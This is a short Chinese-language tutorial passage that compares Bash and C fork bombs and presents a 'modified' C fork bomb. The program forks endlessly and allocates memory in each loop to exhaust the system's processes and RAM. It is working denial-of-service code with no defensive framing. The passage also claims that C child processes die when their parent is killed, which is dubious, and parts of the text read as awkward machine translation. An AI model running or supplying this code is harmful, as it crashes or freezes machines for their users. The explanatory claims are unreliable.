已经很清楚,BASH分支炸弹比其C程序版本强大得多。主要原因是在BASH中,创建的进程与父进程分离。如果父进程(我们最初启动的进程)被销毁或杀死,则其余或其余进程继续存在。但是在使用C实现的情况下,如果父进程被销毁或杀死,则列出的子进程会自动死亡。脚本负责直接与系统通信。
可以使用C中的fork炸弹程序进行更新或修改。创建派生进程时,我们可以在程序中分配内存。
以下程序被视为改进的C叉炸弹的实现-
// Modified fork bomb #include <unistd.h> #include <malloc.h> int main(){ //无限循环 while (1){ //生成子fork进程 fork(); //在RAM中分配内存 int *p1 = (int *) malloc (sizeof (int) * 100000); } }